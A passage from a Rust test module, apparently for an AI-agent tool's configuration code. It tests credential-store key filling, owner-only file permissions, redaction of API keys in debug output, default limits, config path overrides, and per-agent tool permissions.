1692    /// what the user can see wins over what they cannot.
1693    #[test]
1694    fn the_credential_store_fills_only_the_keys_that_are_unset() {
1695        use leviath_core::{CredentialStore, MemoryStore};
1696
1697        let store = MemoryStore::new();
1698        store
1699            .set(
1700                &leviath_core::provider_account("anthropic"),
1701                "from-keychain",
1702            )
1703            .unwrap();
1704        store
1705            .set(&leviath_core::provider_account("openai"), "openai-keychain")
1706            .unwrap();
1707        store
1708            .set(&leviath_core::provider_account("google"), "google-keychain")
1709            .unwrap();
1710        store
1711            .set(&leviath_core::provider_account("openrouter"), "or-keychain")
1712            .unwrap();
1713
1714        let mut config = Config::default();
1715        // Already set from the file: the keychain must not overwrite it.
1716        config.providers.anthropic_api_key = Some("from-file".to_string());
1717        config.apply_credential_store(&store);
1718
1719        assert_eq!(
1720            config.providers.anthropic_api_key.as_deref(),
1721            Some("from-file"),
1722            "an existing key wins over the keychain"
1723        );
1724        assert_eq!(
1725            config.providers.openai_api_key.as_deref(),
1726            Some("openai-keychain")
1727        );
1728        assert_eq!(
1729            config.providers.google_api_key.as_deref(),
1730            Some("google-keychain")
1731        );
1732        assert_eq!(config.openrouter_api_key.as_deref(), Some("or-keychain"));
1733    }
1734
1735    /// An empty store leaves everything alone rather than blanking keys.
1736    #[test]
1737    fn an_empty_credential_store_changes_nothing() {
1738        let mut config = Config::default();
1739        config.providers.openai_api_key = Some("keep-me".to_string());
1740        config.apply_credential_store(&leviath_core::MemoryStore::new());
1741        assert_eq!(config.providers.openai_api_key.as_deref(), Some("keep-me"));
1742        assert!(config.providers.anthropic_api_key.is_none());
1743    }
1744
1745    /// The three resolutions the loader can get back. A keychain that was asked
1746    /// for but is unreachable must warn and carry on - refusing to load the
1747    /// config would take down `lev auth status`, the one command that can
1748    /// explain the problem.
1749    #[test]
1750    fn an_unreachable_credential_store_does_not_stop_the_config_loading() {
1751        use leviath_core::{CredentialStore, MemoryStore};
1752
1753        let mut config = Config::default();
1754        config.fill_from_credential_store_with(Err("no keychain here".to_string()));
1755        assert!(config.providers.anthropic_api_key.is_none());
1756
1757        // The file backend: nothing to overlay.
1758        let mut config = Config::default();
1759        config.providers.openai_api_key = Some("k".to_string());
1760        config.fill_from_credential_store_with(Ok(None));
1761        assert_eq!(config.providers.openai_api_key.as_deref(), Some("k"));
1762
1763        // A working store fills the gap.
1764        let store = MemoryStore::new();
1765        store
1766            .set(&leviath_core::provider_account("anthropic"), "filled")
1767            .unwrap();
1768        let mut config = Config::default();
1769        config.fill_from_credential_store_with(Ok(Some(Box::new(store))));
1770        assert_eq!(
1771            config.providers.anthropic_api_key.as_deref(),
1772            Some("filled")
1773        );
1774    }
1775
1776    #[test]
1777    fn provider_secrets_lists_every_set_key_and_nothing_else() {
1778        let mut config = Config::default();
1779        assert!(config.provider_secrets().is_empty());
1780
1781        config.providers.anthropic_api_key = Some("a".to_string());
1782        config.openrouter_api_key = Some("o".to_string());
1783        let secrets = config.provider_secrets();
1784        assert_eq!(secrets.len(), 2);
1785        assert!(secrets.contains(&("provider/anthropic".to_string(), "a".to_string())));
1786        assert!(secrets.contains(&("provider/openrouter".to_string(), "o".to_string())));
1787    }
1788
1789    /// `without_secrets` must return a *copy*: the caller is usually saving a
1790    /// config it is still going to run with, and blanking its keys in place
1791    /// would break that run.
1792    #[test]
1793    fn without_secrets_strips_a_copy_and_leaves_the_original_usable() {
1794        let mut config = Config::default();
1795        config.providers.anthropic_api_key = Some("a".to_string());
1796        config.providers.openai_api_key = Some("b".to_string());
1797        config.providers.google_api_key = Some("c".to_string());
1798        config.openrouter_api_key = Some("d".to_string());
1799        config.default_model = Some("m".to_string());
1800
1801        let stripped = config.without_secrets();
1802        assert!(stripped.provider_secrets().is_empty(), "no keys survive");
1803        assert_eq!(stripped.default_model.as_deref(), Some("m"), "settings do");
1804        assert_eq!(
1805            config.providers.anthropic_api_key.as_deref(),
1806            Some("a"),
1807            "the original is untouched"
1808        );
1809    }
1810
1811    use super::*;
1812    use crate::test_support::with_tracing;
1813
1814    // ─── leviath_home_dir ────────────────────────────────────────────────────
1815
1816    #[test]
1817    fn leviath_home_dir_uses_override_when_set() {
1818        temp_env::with_var(
1819            "LEVIATH_HOME",
1820            Some("/tmp/leviath-home-override-test"),
1821            || {
1822                assert_eq!(
1823                    leviath_home_dir(),
1824                    Some(std::path::PathBuf::from("/tmp/leviath-home-override-test"))
1825                );
1826            },
1827        );
1828    }
1829
1830    #[test]
1831    fn leviath_home_dir_falls_back_to_dirs_home_dir_when_unset() {
1832        temp_env::with_var_unset("LEVIATH_HOME", || {
1833            assert_eq!(leviath_home_dir(), dirs::home_dir());
1834        });
1835    }
1836
1837    // ─── load_from_path / save_to_path (path-parameterized for testability) ─
1838
1839    #[test]
1840    fn load_from_path_missing_file_returns_defaults() {
1841        let dir = tempfile::tempdir().unwrap();
1842        let path = dir.path().join("config.toml");
1843        let config = with_tracing(|| Config::load_from_path(&path)).unwrap();
1844        assert_eq!(config.default_provider, "anthropic");
1845    }
1846
1847    #[test]
1848    fn load_from_path_valid_toml_is_parsed() {
1849        let dir = tempfile::tempdir().unwrap();
1850        let path = dir.path().join("config.toml");
1851        let original = Config {
1852            default_provider: "openai".to_string(),
1853            ..Config::default()
1854        };
1855        std::fs::write(&path, toml::to_string_pretty(&original).unwrap()).unwrap();
1856        let config = with_tracing(|| Config::load_from_path(&path)).unwrap();
1857        assert_eq!(config.default_provider, "openai");
1858    }
1859
1860    #[test]
1861    fn limits_default_to_bounded_values() {
1862        let limits = LimitsConfig::default();
1863        assert_eq!(limits.max_concurrent_inferences, Some(8));
1864        assert_eq!(limits.default_max_iterations, Some(50));
1865        // Exact token counting is opt-in, off by default.
1866        assert!(!limits.exact_token_counting);
1867        // Relief is on by default: ten 30-second cycles of a full lane going
1868        // nowhere before the daemon widens it.
1869        assert_eq!(limits.dead_cycles_before_relief, 10);
1870        // A finished run stays listed for five minutes, so a scheduler polling
1871        // about once a minute still learns how it ended.
1872        assert_eq!(limits.finished_retention_secs, 300);
1873        // An unanswered prompt releases after an hour rather than holding its
1874        // run's slot until the daemon restarts (issue #204).
1875        assert_eq!(limits.interaction_timeout_secs, 3600);
1876        // And the top-level Config carries the same defaults.
1877        assert_eq!(Config::default().limits.max_concurrent_inferences, Some(8));
1878    }
1879
1880    /// A config written before the field existed still gets the hour, and an
1881    /// explicit `0` still means "wait for a person however long it takes".
1882    #[test]
1883    fn interaction_timeout_defaults_and_parses() {
1884        let dir = tempfile::tempdir().unwrap();
1885        let load = |body: String| {
1886            let path = dir.path().join(format!("{}.toml", body.len()));
1887            std::fs::write(&path, body).unwrap();
1888            with_tracing(|| Config::load_from_path(&path)).unwrap()
1889        };
1890
1891        let old = load(format!(
1892            "{}\n[limits]\nmax_concurrent_tools = 4\n",
1893            config_toml_without_limits()
1894        ));
1895        assert_eq!(old.limits.interaction_timeout_secs, 3600);
1896
1897        let disabled = load(format!(
1898            "{}\n[limits]\ninteraction_timeout_secs = 0\n",
1899            config_toml_without_limits()
1900        ));
1901        assert_eq!(disabled.limits.interaction_timeout_secs, 0);
1902    }
1903
1904    /// The retry schedule is the shipped one unless someone says otherwise, so
1905    /// an existing install's behaviour does not change under it (issue #417).
1906    #[test]
1907    fn the_inference_retry_schedule_defaults_and_parses() {
1908        let dir = tempfile::tempdir().unwrap();
1909        let load = |name: &str, body: String| {
1910            let path = dir.path().join(name);
1911            std::fs::write(&path, body).unwrap();
1912            with_tracing(|| Config::load_from_path(&path)).unwrap()
1913        };
1914
1915        let old = load(
1916            "old.toml",
1917            format!(
1918                "{}\n[limits]\nmax_concurrent_tools = 4\n",
1919                config_toml_without_limits()
1920            ),
1921        );
1922        assert_eq!(
1923            old.limits.inference_retry_attempts,
1924            leviath_runtime::DEFAULT_RETRY_ATTEMPTS
1925        );
1926        assert_eq!(
1927            old.limits.inference_retry_base_ms,
1928            leviath_runtime::DEFAULT_RETRY_BASE_DELAY_MS
1929        );
1930
1931        // An operator riding out longer provider outages, on a slower blip
1932        // schedule of their own choosing.
1933        let tuned = load(
1934            "tuned.toml",
1935            format!(
1936                "{}\n[limits]\ninference_retry_attempts = 8\ninference_retry_base_ms = 2000\n",
1937                config_toml_without_limits()
1938            ),
1939        );
1940        assert_eq!(tuned.limits.inference_retry_attempts, 8);
1941        assert_eq!(tuned.limits.inference_retry_base_ms, 2000);
1942    }
1943
1944    #[test]
1945    fn exact_token_counting_parses_when_set() {
1946        let dir = tempfile::tempdir().unwrap();
1947        let path = dir.path().join("config.toml");
1948        let body = format!(
1949            "{}\n[limits]\nexact_token_counting = true\n",
1950            config_toml_without_limits()
1951        );
1952        std::fs::write(&path, body).unwrap();
1953        let config = with_tracing(|| Config::load_from_path(&path)).unwrap();
1954        assert!(config.limits.exact_token_counting);
1955        // The other fields still fall back to their per-field defaults.
1956        assert_eq!(config.limits.max_concurrent_inferences, Some(8));
1957    }
1958
1959    /// A valid full config-file body with the `[limits]` section removed, so
1960    /// tests can simulate a config written before the section existed (robust to
1961    /// unrelated fields being added). `[limits]` serializes as the final section.
1962    #[cfg(test)]
1963    fn config_toml_without_limits() -> String {
1964        let full = toml::to_string_pretty(&Config::default()).unwrap();
1965        format!("{}\n", full.split("[limits]").next().unwrap().trim_end())
1966    }
1967
1968    #[test]
1969    fn limits_absent_section_uses_defaults() {
1970        // A config file with no `[limits]` table still gets the bounded defaults.
1971        let dir = tempfile::tempdir().unwrap();
1972        let path = dir.path().join("config.toml");
1973        std::fs::write(&path, config_toml_without_limits()).unwrap();
1974        let config = with_tracing(|| Config::load_from_path(&path)).unwrap();
1975        assert_eq!(config.limits.max_concurrent_inferences, Some(8));
1976        assert_eq!(config.limits.default_max_iterations, Some(50));
1977        assert_eq!(config.limits.dead_cycles_before_relief, 10);
1978        assert_eq!(config.limits.finished_retention_secs, 300);
1979        // Off unless asked for: the wedge watchdog fails runs, so an upgrade
1980        // must not switch it on behind the operator's back.
1981        assert_eq!(config.limits.wedge_timeout_secs, 0);
1982    }
1983
1984    #[test]
1985    fn the_wedge_watchdog_is_off_until_it_is_configured() {
1986        let dir = tempfile::tempdir().unwrap();
1987        let path = dir.path().join("config.toml");
1988        let body = format!(
1989            "{}\n[limits]\nwedge_timeout_secs = 300\n",
1990            config_toml_without_limits()
1991        );
1992        std::fs::write(&path, body).unwrap();
1993        let config = with_tracing(|| Config::load_from_path(&path)).unwrap();
1994        assert_eq!(config.limits.wedge_timeout_secs, 300);
1995        // And the rest of the section keeps its own defaults.
1996        assert_eq!(config.limits.stall_timeout_secs, 60);
1997    }
1998
1999    #[test]
2000    fn limits_partial_section_fills_the_other_default() {
2001        // Setting only one field leaves the other at its per-field serde default.
2002        let dir = tempfile::tempdir().unwrap();
2003        let path = dir.path().join("config.toml");
2004        let body = format!(
2005            "{}\n[limits]\nmax_concurrent_inferences = 3\n",
2006            config_toml_without_limits()
2007        );
2008        std::fs::write(&path, body).unwrap();
2009        let config = with_tracing(|| Config::load_from_path(&path)).unwrap();
2010        assert_eq!(config.limits.max_concurrent_inferences, Some(3));
2011        assert_eq!(config.limits.default_max_iterations, Some(50));
2012    }
2013
2014    #[test]
2015    fn load_from_path_existing_provider_keys_skip_env_fallback() {
2016        // Every one of the 5 "env var fallback" `if field.is_none()` checks
2017        // in `load_from_path` has only ever been exercised on its `true`
2018        // (field absent, fall back to env) arm elsewhere in this file --
2019        // never on the `false` (field already set from the TOML file, skip
2020        // the env lookup) arm. `temp_env::with_vars` clears these process-global
2021        // env vars for the closure (and serializes against every other temp-env
2022        // test), so no concurrently-running test can be mid-set when we read.
2023        let unset: Vec<(&str, Option<&str>)> = PROVIDER_KEY_ENV_VARS
2024            .iter()
2025            .chain(["OLLAMA_HOST"].iter())
2026            .map(|&key| (key, None))
2027            .collect();
2028        temp_env::with_vars(unset, || {
2029            let dir = tempfile::tempdir().unwrap();
2030            let path = dir.path().join("config.toml");
2031            std::fs::write(
2032                &path,
2033                r#"
2034default_provider = "anthropic"
2035openrouter_api_key = "sk-or-existing"
2036ollama_base_url = "http://existing-ollama:11434"
2037agent_paths = []
2038
2039[providers]
2040anthropic_api_key = "sk-ant-existing"
2041openai_api_key = "sk-openai-existing"
2042google_api_key = "AIza-existing"
2043"#,
2044            )
2045            .unwrap();
2046
2047            let config = with_tracing(|| Config::load_from_path(&path)).unwrap();
2048
2049            assert_eq!(
2050                config.providers.anthropic_api_key.as_deref(),
2051                Some("sk-ant-existing")
2052            );
2053            assert_eq!(
2054                config.providers.openai_api_key.as_deref(),
2055                Some("sk-openai-existing")
2056            );
2057            assert_eq!(
2058                config.providers.google_api_key.as_deref(),
2059                Some("AIza-existing")
2060            );
2061            assert_eq!(config.openrouter_api_key.as_deref(), Some("sk-or-existing"));
2062            assert_eq!(
2063                config.ollama_base_url.as_deref(),
2064                Some("http://existing-ollama:11434")
2065            );
2066        });
2067    }
2068
2069    #[test]
2070    fn load_from_path_malformed_toml_returns_error() {
2071        let dir = tempfile::tempdir().unwrap();
2072        let path = dir.path().join("config.toml");
2073        std::fs::write(&path, "not valid toml [[[").unwrap();
2074        let result = Config::load_from_path(&path);
2075        assert!(result.is_err());
2076        assert!(result.unwrap_err().to_string().contains("Failed to parse"));
2077    }
2078
2079    #[test]
2080    fn load_from_path_unreadable_path_returns_error() {
2081        // A directory can't be read as a config file.
2082        let dir = tempfile::tempdir().unwrap();
2083        let result = Config::load_from_path(dir.path());
2084        assert!(result.is_err());
2085    }
2086
2087    #[test]
2088    fn save_to_path_writes_valid_toml_that_round_trips() {
2089        let dir = tempfile::tempdir().unwrap();
2090        let path = dir.path().join("nested").join("config.toml");
2091        let config = Config {
2092            default_provider: "google".to_string(),
2093            ..Config::default()
2094        };
2095        with_tracing(|| config.save_to_path(&path)).unwrap();
2096
2097        let loaded = with_tracing(|| Config::load_from_path(&path)).unwrap();
2098        assert_eq!(loaded.default_provider, "google");
2099    }
2100
2101    #[test]
2102    fn save_to_path_creates_parent_directory() {
2103        let dir = tempfile::tempdir().unwrap();
2104        let path = dir.path().join("a").join("b").join("config.toml");
2105        let config = Config::default();
2106        with_tracing(|| config.save_to_path(&path)).unwrap();
2107        assert!(path.exists());
2108    }
2109
2110    #[test]
2111    fn save_to_path_with_no_parent_skips_create_config_dir() {
2112        // `Path::parent()` returns `None` only for an empty path or a
2113        // filesystem root - `PathBuf::from("")` triggers the empty case
2114        // cross-platform, hitting the `if let Some(parent) = ...` block's
2115        // `None` arm (skip `create_config_dir`) without a platform-specific
2116        // root path. The subsequent `fs::write("")` then fails, which is
2117        // fine: this test only cares about the `None` branch being taken.
2118        let result = Config::default().save_to_path(&std::path::PathBuf::from(""));
2119        assert!(result.is_err());
2120    }
2121
2122    #[cfg(unix)]
2123    #[test]
2124    fn save_to_path_sets_restrictive_file_permissions() {
2125        use std::os::unix::fs::PermissionsExt;
2126        let dir = tempfile::tempdir().unwrap();
2127        let path = dir.path().join("config.toml");
2128        with_tracing(|| Config::default().save_to_path(&path)).unwrap();
2129        let mode = std::fs::metadata(&path).unwrap().permissions().mode();
2130        assert_eq!(mode & 0o777, 0o600);
2131    }
2132
2133    #[test]
2134    fn save_to_path_write_failure_returns_error() {
2135        // A directory at the exact target path forces `std::fs::write` to
2136        // fail with EISDIR, exercising `save_to_path`'s write-error `map_err`
2137        // arm (distinct from `save_to_path_creates_parent_directory`, which
2138        // exercises the parent-dir-creation path but always succeeds).
2139        let dir = tempfile::tempdir().unwrap();
2140        let path = dir.path().join("config.toml");
2141        std::fs::create_dir_all(&path).unwrap();
2142
2143        let result = Config::default().save_to_path(&path);
2144
2145        assert!(result.is_err());
2146        assert!(
2147            result
2148                .unwrap_err()
2149                .to_string()
2150                .contains("Failed to write config")
2151        );
2152    }
2153
2154    #[test]
2155    fn save_to_path_create_config_dir_failure_returns_error() {
2156        let dir = tempfile::tempdir().unwrap();
2157        let blocking_file = dir.path().join("not-a-dir");
2158        std::fs::write(&blocking_file, "").unwrap();
2159        let path = blocking_file.join("config.toml");
2160        let result = Config::default().save_to_path(&path);
2161        assert!(result.is_err());
2162        assert!(
2163            result
2164                .unwrap_err()
2165                .to_string()
2166                .contains("Failed to create config directory")
2167        );
2168    }
2169
2170    #[test]
2171    fn load_propagates_error_when_real_config_file_is_malformed() {
2172        // Every other `Config::load()` test sees either no file (defaults)
2173        // or a well-formed one, so `load()`'s `?` on `load_from_path(...)`
2174        // has never actually propagated an `Err`. Writing malformed TOML to
2175        // the guard's redirected `LEVIATH_CONFIG_PATH` forces that.
2176        with_isolated_config_path("load-malformed", |fake_dir| {
2177            std::fs::write(fake_dir.join("config.toml"), "not valid toml [[[").unwrap();
2178
2179            let result = Config::load();
2180
2181            assert!(result.is_err());
2182        });
2183    }
2184
2185    // ─── check_permissions_at ────────────────────────────────────────────
2186
2187    #[cfg(unix)]
2188    #[test]
2189    fn check_permissions_at_missing_file_is_noop() {
2190        let dir = tempfile::tempdir().unwrap();
2191        let path = dir.path().join("nonexistent.toml");
2192        check_permissions_at(&path); // must not panic
2193    }
2194
2195    #[cfg(unix)]
2196    #[test]
2197    fn check_permissions_at_fixes_overly_permissive_file() {
2198        use std::os::unix::fs::PermissionsExt;
2199        let dir = tempfile::tempdir().unwrap();
2200        let path = dir.path().join("config.toml");
2201        std::fs::write(&path, "").unwrap();
2202        std::fs::set_permissions(&path, std::fs::Permissions::from_mode(0o644)).unwrap();
2203
2204        with_tracing(|| check_permissions_at(&path));
2205
2206        let mode = std::fs::metadata(&path).unwrap().permissions().mode();
2207        assert_eq!(mode & 0o777, 0o600);
2208    }
2209
2210    #[cfg(unix)]
2211    #[test]
2212    fn check_permissions_at_leaves_already_restrictive_file_alone() {
2213        use std::os::unix::fs::PermissionsExt;
2214        let dir = tempfile::tempdir().unwrap();
2215        let path = dir.path().join("config.toml");
2216        std::fs::write(&path, "").unwrap();
2217        std::fs::set_permissions(&path, std::fs::Permissions::from_mode(0o600)).unwrap();
2218
2219        check_permissions_at(&path);
2220
2221        let mode = std::fs::metadata(&path).unwrap().permissions().mode();
2222        assert_eq!(mode & 0o777, 0o600);
2223    }
2224
2225    // On macOS/BSD, `chflags uchg` sets the user-immutable flag - settable
2226    // by a regular file owner without root - which blocks `chmod` (and thus
2227    // `std::fs::set_permissions`) with EPERM while leaving `exists()`/
2228    // The "fix failed" arm of `check_permissions_at` (a file that exists but
2229    // whose `chmod` fails) is exercised deterministically on every OS by
2230    // injecting a failing `ensure` fn - no `chflags uchg`/root trick, which was
2231    // macOS-only and left this branch uncovered on Linux CI.
2232    #[test]
2233    fn check_permissions_at_with_logs_when_fix_fails() {
2234        fn ensure_fails(_: &std::path::Path) -> std::io::Result<Option<u32>> {
2235            Err(std::io::Error::other("simulated chmod failure"))
2236        }
2237        // Must not panic; the failure is only logged.
2238        with_tracing(|| {
2239            check_permissions_at_with(std::path::Path::new("/does/not/matter"), ensure_fails)
2240        });
2241    }
2242
2243    #[test]
2244    fn check_permissions_at_with_logs_when_file_is_permissive() {
2245        fn ensure_permissive(_: &std::path::Path) -> std::io::Result<Option<u32>> {
2246            Ok(Some(0o100644))
2247        }
2248        with_tracing(|| {
2249            check_permissions_at_with(std::path::Path::new("/does/not/matter"), ensure_permissive)
2250        });
2251    }
2252
2253    // Portable failure injection for the hardening error arms of
2254    // `set_file_permissions`/`set_dir_permissions`. `leviath_sys`'s Windows
2255    // fallback is infallible (always `Ok`) - and even a missing path fails only
2256    // on Unix - so the only cross-platform way to reach the `Err` arm is to
2257    // inject a hardening op that fails (mirroring `check_permissions_at_with`).
2258    fn always_failing_secure(_path: &std::path::Path) -> std::io::Result<()> {
2259        Err(std::io::Error::other(
2260            "simulated permission-hardening failure",
2261        ))
2262    }
2263
2264    #[test]
2265    fn set_dir_permissions_error_branch_logs_not_panics() {
2266        with_tracing(|| {
2267            set_dir_permissions_with(
2268                std::path::Path::new("/does/not/matter"),
2269                always_failing_secure,
2270            )
2271        }); // hits the Err arm, must not panic
2272    }
2273
2274    // ─── create_config_dir / set_file_permissions / set_dir_permissions ───
2275    // (already path-parameterized - directly testable without touching the
2276    // real ~/.leviath/config.toml)
2277
2278    #[test]
2279    fn create_config_dir_creates_nested_dirs() {
2280        let dir = tempfile::tempdir().unwrap();
2281        let target = dir.path().join("a").join("b").join("c");
2282        create_config_dir(&target).unwrap();
2283        assert!(target.is_dir());
2284    }
2285
2286    #[cfg(unix)]
2287    #[test]
2288    fn create_config_dir_sets_restrictive_permissions() {
2289        use std::os::unix::fs::PermissionsExt;
2290        let dir = tempfile::tempdir().unwrap();
2291        let target = dir.path().join("leviath");
2292        create_config_dir(&target).unwrap();
2293        let mode = std::fs::metadata(&target).unwrap().permissions().mode();
2294        assert_eq!(mode & 0o777, 0o700);
2295    }
2296
2297    /// The config holds every provider API key, so it must never be readable by
2298    /// anyone else - not even for the instant between a `write` and a follow-up
2299    /// `chmod`. `write_private` creates the file with the mode already applied.
2300    #[cfg(unix)]
2301    /// `LEVIATH_HOME` must redirect the config too, not just the runs and
2302    /// agents directories.
2303    ///
2304    /// Without that redirect the consequence is concrete: a scratch environment
2305    /// that sets `LEVIATH_HOME` and runs `lev mcp add` writes to the developer's
2306    /// *real* `~/.leviath/config.toml` - the file holding every provider API key
2307    /// - while believing it is isolated.
2308    #[test]
2309    fn config_path_honors_leviath_home() {
2310        temp_env::with_vars(
2311            [
2312                ("LEVIATH_CONFIG_PATH", None::<&str>),
2313                ("LEVIATH_HOME", Some("/tmp/lev-cfg-test")),
2314            ],
2315            || {
2316                assert_eq!(
2317                    Config::config_path(),
2318                    std::path::PathBuf::from("/tmp/lev-cfg-test/.leviath/config.toml")
2319                );
2320            },
2321        );
2322    }
2323
2324    /// The narrower override still wins, so an explicit path is exact.
2325    #[test]
2326    fn config_path_prefers_the_explicit_override() {
2327        temp_env::with_vars(
2328            [
2329                ("LEVIATH_CONFIG_PATH", Some("/tmp/exact.toml")),
2330                ("LEVIATH_HOME", Some("/tmp/lev-cfg-test")),
2331            ],
2332            || {
2333                assert_eq!(
2334                    Config::config_path(),
2335                    std::path::PathBuf::from("/tmp/exact.toml")
2336                );
2337            },
2338        );
2339    }
2340
2341    /// The escape hatch for the permission floor: a user grants one named agent
2342    /// more than their global setting, in their own config rather than in the
2343    /// downloaded manifest.
2344    #[test]
2345    fn permissions_for_agent_overlays_the_named_grant_on_the_global() {
2346        let mut config = Config::default();
2347        config
2348            .tool_permissions
2349            .insert("shell".to_string(), ToolPolicy::Ask);
2350        config
2351            .tool_permissions
2352            .insert("write_file".to_string(), ToolPolicy::Deny);
2353        config.agent_tool_permissions.insert(
2354            "coder".to_string(),
2355            HashMap::from([("shell".to_string(), ToolPolicy::Allow)]),
2356        );
2357
2358        let coder = config.permissions_for_agent("coder");
2359        assert_eq!(coder.get("shell"), Some(&ToolPolicy::Allow), "granted");
2360        assert_eq!(
2361            coder.get("write_file"),
2362            Some(&ToolPolicy::Deny),
2363            "the rest of the global ceiling still applies"
2364        );
2365
2366        // Any other agent sees the global setting untouched.
2367        let other = config.permissions_for_agent("researcher");
2368        assert_eq!(other.get("shell"), Some(&ToolPolicy::Ask));
2369    }
2370
2371    /// Read-path grants mirror the tool-permission shape: a machine-wide list
2372    /// plus per-agent additions, resolved once per agent.
2373    #[test]
2374    fn read_path_grants_merge_global_and_per_agent() {
2375        let mut config = Config::default();
2376        assert!(
2377            !config.security.allow_blueprint_read_paths,
2378            "blueprint read paths must be opt-in"
2379        );
2380        assert!(config.read_path_grants_for_agent("cto").is_empty());
2381
2382        config.security.read_paths = vec!["~/.leviath/runs".to_string()];
2383        config.agent_read_paths.insert(
2384            "cto".to_string(),
2385            ReadPathGrants {
2386                allow: vec!["glob:~/design-docs/**".to_string()],
2387            },
2388        );
2389
2390        assert_eq!(
2391            config.read_path_grants_for_agent("cto"),
2392            vec![
2393                "~/.leviath/runs".to_string(),
2394                "glob:~/design-docs/**".to_string(),
2395            ]
2396        );
2397        // Any other agent gets the machine-wide grants only.
2398        assert_eq!(
2399            config.read_path_grants_for_agent("researcher"),
2400            vec!["~/.leviath/runs".to_string()]
2401        );
2402    }
2403
2404    /// One `tracing::debug!(?config)` would otherwise put every provider key in
2405    /// the logs.
2406    #[test]
2407    fn provider_config_debug_never_prints_the_keys() {
2408        let providers = ProviderConfig {
2409            anthropic_api_key: Some("sk-ant-SECRET-VALUE".to_string()),
2410            openai_api_key: Some("sk-openai-SECRET-VALUE".to_string()),
2411            google_api_key: Some("AIza-SECRET-VALUE".to_string()),
2412            claude_code_enabled: true,
2413            claude_code_binary: None,
2414            claude_code_effort: None,
2415            anthropic_cache_ttl: None,
2416            fallback_order: Vec::new(),
2417        };
2418        let rendered = format!("{providers:?}");
2419        assert!(!rendered.contains("SECRET-VALUE"), "key leaked: {rendered}");
2420        // "is it configured" is what a debug line is actually asking.
2421        assert!(rendered.contains("<set>"), "{rendered}");
2422        assert!(rendered.contains("claude_code_enabled: true"), "{rendered}");
2423
2424        let empty = format!(
2425            "{:?}",
2426            ProviderConfig {
2427                anthropic_api_key: None,
2428                openai_api_key: None,
2429                google_api_key: None,
2430                claude_code_enabled: false,
2431                claude_code_binary: None,
2432                claude_code_effort: None,
2433                anthropic_cache_ttl: None,
2434                fallback_order: Vec::new(),
2435            }
2436        );
2437        assert!(empty.contains("<unset>"), "{empty}");
2438    }
2439
2440    /// Unix-only: the assertion is about POSIX mode bits, which Windows does
2441    /// not have. `write_private`'s Windows path is a plain write, exercised by
2442    /// every other `save_to_path` test.
2443    #[cfg(unix)]
2444    #[test]
2445    fn saving_a_config_never_leaves_it_group_or_world_readable() {
2446        use std::os::unix::fs::PermissionsExt;
2447        let dir = tempfile::tempdir().unwrap();
2448        let path = dir.path().join("config.toml");
2449
2450        Config::default().save_to_path(&path).unwrap();
2451        let mode = std::fs::metadata(&path).unwrap().permissions().mode();
2452        assert_eq!(mode & 0o777, 0o600, "fresh config must be owner-only");
2453
2454        // Overwriting a file that somehow became permissive tightens it again.
2455        std::fs::set_permissions(&path, std::fs::Permissions::from_mode(0o644)).unwrap();
2456        Config::default().save_to_path(&path).unwrap();
2457        let mode = std::fs::metadata(&path).unwrap().permissions().mode();
2458        assert_eq!(mode & 0o777, 0o600, "re-saving must re-tighten");
2459    }
2460
2461    #[cfg(unix)]
2462    #[test]
2463    fn set_dir_permissions_sets_0700() {
2464        use std::os::unix::fs::PermissionsExt;
2465        let dir = tempfile::tempdir().unwrap();
2466        std::fs::set_permissions(dir.path(), std::fs::Permissions::from_mode(0o755)).unwrap();
2467        set_dir_permissions(dir.path());
2468        let mode = std::fs::metadata(dir.path()).unwrap().permissions().mode();
2469        assert_eq!(mode & 0o777, 0o700);
2470    }
2471
2472    #[test]
2473    fn test_validate_keys_good_anthropic() {
2474        let config = Config {
2475            providers: ProviderConfig {
2476                anthropic_api_key: Some("sk-ant-test123".to_string()),
2477                openai_api_key: None,
2478                google_api_key: None,
2479                claude_code_enabled: false,
2480                claude_code_binary: None,
2481                claude_code_effort: None,
2482                anthropic_cache_ttl: None,
2483                fallback_order: Vec::new(),
2484            },
2485            ..Config::default()
2486        };
2487        assert!(config.validate_keys().is_empty());
2488    }
2489
2490    #[test]
2491    fn test_validate_keys_bad_anthropic() {
2492        let config = Config {
2493            providers: ProviderConfig {
2494                anthropic_api_key: Some("bad-key".to_string()),
2495                openai_api_key: None,
2496                google_api_key: None,
2497                claude_code_enabled: false,
2498                claude_code_binary: None,
2499                claude_code_effort: None,
2500                anthropic_cache_ttl: None,
2501                fallback_order: Vec::new(),
2502            },
2503            ..Config::default()
2504        };
2505        let warnings = config.validate_keys();
2506        assert_eq!(warnings.len(), 1);
2507        assert!(warnings[0].contains("Anthropic"));
2508    }
2509
2510    #[test]
2511    fn test_validate_keys_good_openai() {
2512        let config = Config {
2513            providers: ProviderConfig {
2514                anthropic_api_key: None,
2515                openai_api_key: Some("sk-test123".to_string()),
2516                google_api_key: None,
2517                claude_code_enabled: false,
2518                claude_code_binary: None,
2519                claude_code_effort: None,
2520                anthropic_cache_ttl: None,
2521                fallback_order: Vec::new(),
2522            },
2523            ..Config::default()
2524        };
2525        assert!(config.validate_keys().is_empty());
2526    }
2527
2528    #[test]
2529    fn test_validate_keys_bad_openai() {
2530        let config = Config {
2531            providers: ProviderConfig {
2532                anthropic_api_key: None,
2533                openai_api_key: Some("bad-key".to_string()),
2534                google_api_key: None,
2535                claude_code_enabled: false,
2536                claude_code_binary: None,
2537                claude_code_effort: None,
2538                anthropic_cache_ttl: None,
2539                fallback_order: Vec::new(),
2540            },
2541            ..Config::default()
2542        };
2543        let warnings = config.validate_keys();
2544        assert_eq!(warnings.len(), 1);
2545        assert!(warnings[0].contains("OpenAI"));
2546    }
2547
2548    #[test]
2549    fn test_validate_keys_no_keys() {
2550        let config = Config::default();
2551        assert!(config.validate_keys().is_empty());
2552    }
2553
2554    // ─── Config defaults ───────────────────────────────────────────────────
2555
2556    #[test]
2557    fn config_default_values() {
2558        let config = Config::default();
2559        assert_eq!(config.default_provider, "anthropic");
2560        assert!(config.providers.anthropic_api_key.is_none());
2561        assert!(config.providers.openai_api_key.is_none());
2562        assert!(config.providers.google_api_key.is_none());
2563        assert!(config.openrouter_api_key.is_none());
2564        assert!(config.ollama_base_url.is_none());
2565        assert!(config.mcp_servers.is_empty());
2566        assert!(config.default_model.is_none());
2567        assert!(config.model_capabilities.is_empty());
2568        assert!(config.tool_permissions.is_empty());
2569    }
2570
2571    // ─── TitleConfig ───────────────────────────────────────────────────────
2572
2573    #[test]
2574    fn title_config_default() {
2575        let tc = TitleConfig::default();
2576        assert!(tc.enabled);
2577        assert!(tc.provider.is_none());
2578        assert!(tc.model.is_none());
2579    }
2580
2581    #[test]
2582    fn title_config_serde_roundtrip() {
